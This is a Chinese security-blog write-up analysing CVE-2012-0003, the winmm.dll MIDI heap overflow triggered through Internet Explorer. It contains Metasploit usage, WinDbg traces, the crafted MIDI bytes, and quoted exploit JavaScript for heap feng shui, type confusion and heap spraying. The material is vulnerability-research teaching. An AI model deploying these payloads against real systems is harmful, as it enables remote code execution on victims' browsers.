作者: quanyechavshuo
预估稿费:300RMB(不服你也来投稿啊!)
投稿方式:发送邮件至 linwei#360.cn ,或登陆网页版在线投稿
这个漏洞是由于微软的多媒体库winmm.dll(c:/windows/system32/winmm.dll)在处理MIDI文件时,由于对数据的处理不当导致的"堆溢出",攻击者可以在网页中嵌入特殊的MIDI文件来远程执行任意代码。
使用msf中的exp:
msfconsole search cve-2012-0003 use exploit/windows/browser/ms12_004_midi set uripath test.html set payload windows/exec set cmd calc.exe server started http://192.168.118.129:8080/test.html
奇怪的是在系统中不存在test.html,但是访问上面生成的网马链接确实会中马,后来查看msf中的exp:ms12_004_midi.rb,里面生成html的代码为:
send_response(cli, html, {'Content-Type'=>'text/html'})
send_response函数在msfapi中有如下用法:
msfapi_send_response
也即相当于msf内置webserver通过send_response函数发送html代码到客户端实现下面这个链接的访问:
http://192.168.118.129:8080/test.html
这种方式比较特殊,可能msf的web是ruby的某个类似python下的Django的web框架开发的。
打开iexplore.exe, win+r:cmd:
gflags -i iexplore.exe +hpa
这里如果在windbg中设置!gflag +hpa不会成功,可能是winxp或是windbg的问题,windbg:f6附加iexplore.exe:
!gflag 0:016> !gflag Current NtGlobalFlag contents: 0x02000000 hpa - Place heap allocations at ends of pages g
ie打开: http://192.168.118.129:8080/test.html
(180.6f8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16a7f019 edi=16a7cf60 eip=76b2d224 esp=3685fe80 ebp=3685fea0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16a7f019=??
到这里只知道76b2d224处有内存访问异常,然而要想写出exp,还需要弄清参数传递过程,这个"堆溢出"cve的利用不是DWORD SHOOT,而是巧妙地构造html代码达到控制eip的目的,如果是利用堆溢出,一般会想到在上面访问异常时通过找到一个DWORD SHOOT的机会来覆盖异常处理相关的函数地址来控制eip,且要在可控数据复制到内存后找到堆分配调用。
win+r:cmd:
gflags -i iexplore.exe -hpa bu WINMM!midiOutPlayNextPolyEvent g
ie打开: http://192.168.118.129:8080/test.html
Breakpoint 0 hit eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=00216790 esi=00216780 edi=002167d8 eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 WINMM!midiOutPlayNextPolyEvent: 76b2d038 8bff mov edi,edi
此时中断下来,再看看没有+hpa情况下的:WINMM!midiOutPlayNextPolyEvent+0x1ec会不会访问异常:
bu WINMM!midiOutPlayNextPolyEvent+0x1ec g Breakpoint 0 hit eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=046de111 edi=025cd4f0 eip=76b2d224 esp=0393fe80 ebp=0393fea0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] ds:0023:046de111=00
属于页堆增加的栅栏页的地址范围才导致+hpa时在某次执行到WINMM!midiOutPlayNextPolyEvent+0x1ec时造成访问异常,为了验证这个想法,进行如下操作:
关闭windbg,重新打开ie,cmd:
gflags -i iexplore.exe +hpa
打开windbg,f6加载iexplore.exe:
bu WINMM!midiOutPlayNextPolyEvent+0x1ec bu WINMM!midiOutPlayNextPolyEvent g
ie打开: http://192.168.118.129:8080/test.html
Breakpoint 1 hit eax=00000000 ebx=ffffffff ecx=7ff9d000 edx=16840f70 esi=16840f60 edi=16840fb8 eip=76b2d038 esp=365bfbe0 ebp=365bfc0c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 WINMM!midiOutPlayNextPolyEvent: 76b2d038 8bff mov edi,edi g Breakpoint 1 hit eax=00000000 ebx=ffffffff ecx=7ff98000 edx=16840f70 esi=16840f60 edi=16840fb8 eip=76b2d038 esp=3690fea4 ebp=3690fedc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 WINMM!midiOutPlayNextPolyEvent: 76b2d038 8bff mov edi,edi
这里看到 WINMM!midiOutPlayNextPolyEvent第一次运行时不会经过+0x1ec的位置, 在+1ec之前就返回了,
g Breakpoint 0 hit eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=16842e51 edi=16840f60 eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16842e51=00
这里看 到第二次运行WINMM!midiOutPlayNextPolyEvent时第一次运行到+0x1ec处不会产生访问异常,
g Breakpoint 0 hit eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16843019 edi=16840f60 eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16843019=??
这里看 到第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处访问异常([esi]不识别),g即可验证,
g (51c.674): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16843019 edi=16840f60 eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16843019=??
这里可以看到的确是会触发异常的,也即+hpa时是第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处会访问异常,-hpa情况会怎样呢?进行如下操作验证:
关闭windbg,重新打开ie:
gflags -i iexplore.exe -hpa
打开windbg,f6加载iexplore.exe:
bu WINMM!midiOutPlayNextPolyEvent+0x1ec bu WINMM!midiOutPlayNextPolyEvent g
ie打开: http://192.168.118.129:8080/test.html
Breakpoint 1 hit eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=0256aa28 esi=0256aa18 edi=0256aa70 eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 WINMM!midiOutPlayNextPolyEvent: 76b2d038 8bff mov edi,edi g Breakpoint 1 hit eax=00000000 ebx=ffffffff ecx=7ff98000 edx=0256aa28 esi=0256aa18 edi=0256aa70 eip=76b2d038 esp=0392fea4 ebp=0392fedc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 WINMM!midiOutPlayNextPolyEvent: 76b2d038 8bff mov edi,edi g Breakpoint 0 hit eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=025cae59 edi=0256aa18 eip=76b2d224 esp=0392fe80 ebp=0392fea0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] ds:0023:025cae59=00 g Breakpoint 0 hit eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=025cb021 edi=0256aa18 eip=76b2d224 esp=0392fe80 ebp=0392fea0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] ds:0023:025cb021=00
可以看到-hpa情况下在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处是不会产生访问异常的,结合+hpa的功能(定位导致漏洞的代码或函数)可知在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处的这句指令将导致产生"堆溢出"。
u . WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] 76b2d226 8ad0 mov dl,al 76b2d228 740c je WINMM!midiOutPlayNextPolyEvent+0x1fe (76b2d236) 76b2d22a 80e2f0 and dl,0F0h 76b2d22d 80faf0 cmp dl,0F0h 76b2d230 742d je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f) 76b2d232 0410 add al,10h 76b2d234 eb0a jmp WINMM!midiOutPlayNextPolyEvent+0x208 (76b2d240)
看到的不多,扩大汇编指令范围:
u eip-30 eip+30 WINMM!midiOutPlayNextPolyEvent+0x1bc: 76b2d1f4 e2f0 loop WINMM!midiOutPlayNextPolyEvent+0x1ae (76b2d1e6) 76b2d1f6 80fa90 cmp dl,90h 76b2d1f9 8855ff mov byte ptr [ebp-1],dl 76b2d1fc 7405 je WINMM!midiOutPlayNextPolyEvent+0x1cb (76b2d203) 76b2d1fe 80fa80 cmp dl,80h 76b2d201 755c jne WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f) 76b2d203 0fb6550b movzx edx,byte ptr [ebp+0Bh] 76b2d207 83e00f and eax,0Fh 76b2d20a c1e007 shl eax,7 76b2d20d 03c2 add eax,edx 76b2d20f 99 cdq 76b2d210 2bc2 sub eax,edx 76b2d212 d1f8 sar eax,1 76b2d214 807dff80 cmp byte ptr [ebp-1],80h 76b2d218 742a je WINMM!midiOutPlayNextPolyEvent+0x20c (76b2d244) 76b2d21a 84db test bl,bl 76b2d21c 7426 je WINMM!midiOutPlayNextPolyEvent+0x20c (76b2d244) [***]76b2d21e 03f0 add esi,eax 76b2d220 f6450b01 test byte ptr [ebp+0Bh],1 [==============>eip]76b2d224 8a06 mov al,byte ptr [esi] 76b2d226 8ad0 mov dl,al 76b2d228 740c je WINMM!midiOutPlayNextPolyEvent+0x1fe (76b2d236) 76b2d22a 80e2f0 and dl,0F0h 76b2d22d 80faf0 cmp dl,0F0h 76b2d230 742d je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f) 76b2d232 0410 add al,10h 76b2d234 eb0a jmp WINMM!midiOutPlayNextPolyEvent+0x208 (76b2d240) 76b2d236 80e20f and dl,0Fh 76b2d239 80fa0f cmp dl,0Fh 76b2d23c 7421 je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f) [***]76b2d23e fec0 inc al [***]76b2d240 8806 mov byte ptr [esi],al 76b2d242 eb1b jmp WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f) 76b2d244 f6450b01 test byte ptr [ebp+0Bh],1 76b2d248 8d1430 lea edx,[eax+esi] 76b2d24b 8a02 mov al,byte ptr [edx] 76b2d24d 7408 je WINMM!midiOutPlayNextPolyEvent+0x21f (76b2d257) 76b2d24f a8f0 test al,0F0h 76b2d251 740c je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f) 76b2d253 2c10 sub al,10h
在当前eip处eax=0x419,而eip最近执行过的与eax相关的指令为76b2d21e处的add esi,eax,书中分析的是此处的esi来源于winmmAlloc(0x400)分配到的内存地址,而add esi,eax中的eax=0x419超过了分配的0x400导致访问到超出0x19大小处的内容 ,在eip下面的76b2d23e和76b2d240处可以看到,[esi]的值会加1,也即在超出0x19大小处的内存中的内容会加1,这就是这个漏洞的危害:导致内存某处的值+1,只要能够控制这个0x19处的内存的内容,就有机会利用这个漏洞。
上面之所以会有76b2d240处的导致[esi]加1的出现,是要在mid文件中的某个音轨事件处写上"打开音符"对应的值(书中是0x0073b29f),如下||之间的内容:
00000000: 4d54 6864 0000 0006 0000 0001 0060 4d54 MThd.........`MT 00000010: 726b 0000 0035 00ff 030d 4472 756d 7320 rk...5....Drums 00000020: 2020 2842 4229 0000 c928 00b9 0764 00b9 (BB)...(...d.. 00000030: 0a40 00b9 7b00 00b9 5b28 00b9 5d00 8550 .@..{...[(..]..P 00000040: 9923 7f00|9fb2 7300|ff2f 000a .#....s../..
满足mid文件中对应位置处的值为"打开音符"后,会导致在当前eip环境下的[esi]加1,也即76b2d21e执行后的[esi]加1,也即winAlloc(0x400)分配到的内存地址+0x19处的内容加1,而利用方式中正好是利用相应内存中的值加1导致任意代码执行。书中通过ida的f5分析函数调用与参数传递分析得到上面的esi的源是winmmAlloc(0x400),也即在打开mid文件后会有一个这样的内存分配动作,于是构造出如下结构的内存空间使得winmmAlloc(0x400)分到的内存地址相对可控:
|xxxxxxxx|oooooooo|xxxxxxxxx|ooooooooo|xxxxxxxxx|ooooooooo|...
也即在mid文件被ie解析之前,先用js构造上面这样的内存格式,其中xxx表示有数据,ooo表示空闲内存,每个||之间的内存大小正好为0x400,这样在上面内存结构的基础上再由ie解析mid文件而产生winmmAlloc(0x400)的动作就会分配到上面的ooo的某个位置上,然后由于mid文件是特殊的构造好的会使winmmAlloc(0x400)分到的内存地址+0x19处的内存的内容加1的文件,于是ie解析mid文件后,将导致winmmAlloc(0x400)分到的某个ooo位置的右边一个xxx的位置上的偏移0x19中的值加1,当上面构造的特殊内存格式时构造好该位置内容的值+1会使得代码执行时,就可以利用这个漏洞了,而书中(msf)的利用方式是用下面的js来达到目的的:
[msf中的构造特殊内存结构的由ruby写的js] def build_element(element_name, my_target, type="corruption") dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V")) element = '' if my_target.name =~ /IE 8/ max = 63 # Number of attributes for IE 8 index = 1 # Where we want to confuse the type else max = 55 # Number of attributes for before IE 8 index = 0 # Where we want to confuse the type end element << "var #{element_name} = document.createElement(/"select/")" + "/n" # Build attributes 0.upto(max) do |i| case type when "corruption" obj = (i==index) ? "unescape(/"#{dst}/")" : "" else #leak obj = "" end element << "#{element_name}.w#{i.to_s} = #{obj}" + "/n" end return element end # Feng Shui and triggering Steps: # 1. Run the garbage collector before allocations # 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent) # 3. Make holes # 4. Let windows media play the crafted midi file and corrupt the heap # 5. Force the using of the confused tagVARIANT. def build_trigger(my_target, type="corruption") js_trigger = build_trigger_fn(my_target, type) select_element = build_element('selob', my_target, type) trigger = <<-JS var heap = new heapLib.ie(); #{select_element} var clones = new Array(1000); function feng_shui() { heap.gc(); var i = 0; while (i < 1000) { clones[i] = selob.cloneNode(true) i = i + 1; } var j = 0; while (j < 1000) { delete clones[j]; CollectGarbage(); j = j + 2; } } feng_shui(); #{js_trigger} JS trigger = heaplib(trigger, {:noobfu => true}) return trigger end
上面msf中的代码对应书中的如下代码:
var selob=document.createElement("select") selob.w0= selob.w1=unescape("%u0c0c %u0c0c") selob.w2= selob.w3= selob.w4= selob.w5= ... ... selob.w63= var clones=new Array(1000) function feng_shui(){ var i=0 while (i<1000){ clones[i]=selob.cloneNode(true) i=i+1 } var j=0 while(j<1000){ delete clones[j] CollectGarbage() j=j+2 } }
上面为了达到某处内容值+1得到控制代码执行的目的使用的是:
创建select元素selob,设置64个属性,其中w1为string类型,其余为object类型,然后创建一个数组用来存放1000个selob元素,然后间隔释放1000个selob元素中的500个元素,然后由于ie解析mid文件,运行了winmmAlloc(0x400),得到的分配地址位于某个释放的selob元素的位置,由于mid文件中某处已经构造好了音轨事件是"打开音符",于是会使得某个selob元素的+19位置的值+1,于是该selob元素的第二个属性w1由string变成object,然后由下面的js来触发这个变成object的属性相应函数的执行,触发js如下:
function trigger(){ var k=999 while (k>0){ if (typeof(clones[k].w1)=="string"){ }else{ clone[k].w1('come on!') } k=k-2 } feng_shui() document.audio.Play() }
上面的js中的函数trigger由下面的js调用执行(执行trigger函数在ie解析mid文件之后[也即在上面的
document.audio.Play执行之后]):
</script> <script for=audio event=PlayStateChange(oldState,newState)> if (oldState == 3 && newState == 0) { trigger(); } </script>
在js构造的string变成object的属性时执行的函数的地址为0x0c0c0c0c是堆喷射的利用地址,对应msf中的构造堆喷射内存 布局的代码如下:
def build_spray(my_target, leak=0) # Extract string based on target if my_target.name == 'IE 8 on Windows XP SP3' js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);" else js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);" end # Build shellcode based on Rop requirement code = '' if my_target['Rop'] and datastore['MSHTML'].to_s != '' print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}") code << create_info_leak_rop(my_target, leak) code << payload.encoded elsif my_target['Rop'] and datastore['MSHTML'].to_s == '' print_status("Generating ROP using msvcrt") code << create_rop(my_target, payload.encoded) else code << payload.encoded end shellcode = Rex::Text.to_unescape(code) # 1. Create big block of nops # 2. Compose one block which is nops + shellcode # 3. Repeat the block # 4. Extract string from the big block # 5. Spray spray = <<-JS var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{shellcode}"); var nops = unescape("%u0c0c%u0c0c"); while (nops.length < 0x1000) nops+= nops; var shellcode = nops.substring(0,0x800 - code.length) + code; while (shellcode.length < 0x40000) shellcode += shellcode; #{js_extract_str} heap_obj.gc(); for (var i=0; i < 600; i++) { heap_obj.alloc(block); } JS spray = heaplib(spray, {:noobfu => true}) return spray end
漏洞场景:
程序(iexplore.exe)解析特殊构造的文件(mid)时,在内存中可找到有内存分配动作(winmmAlloc),分配的内存大小一定(0x400),如果解析特殊文件(mid中音轨事件为打开音符)会使程序在分配到的内存地址范围之外(0x419>0x400)有改变大小动作(使0x419偏移处的值+1)。
利用方法:
可以通过与这里相同的js的构造特殊内存结构的方法来利用这个改变动作来控制eip。
林桠泉. 漏洞战争:软件漏洞分析精要[M]. 北京:电子工业出版社, 2016.
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3278.html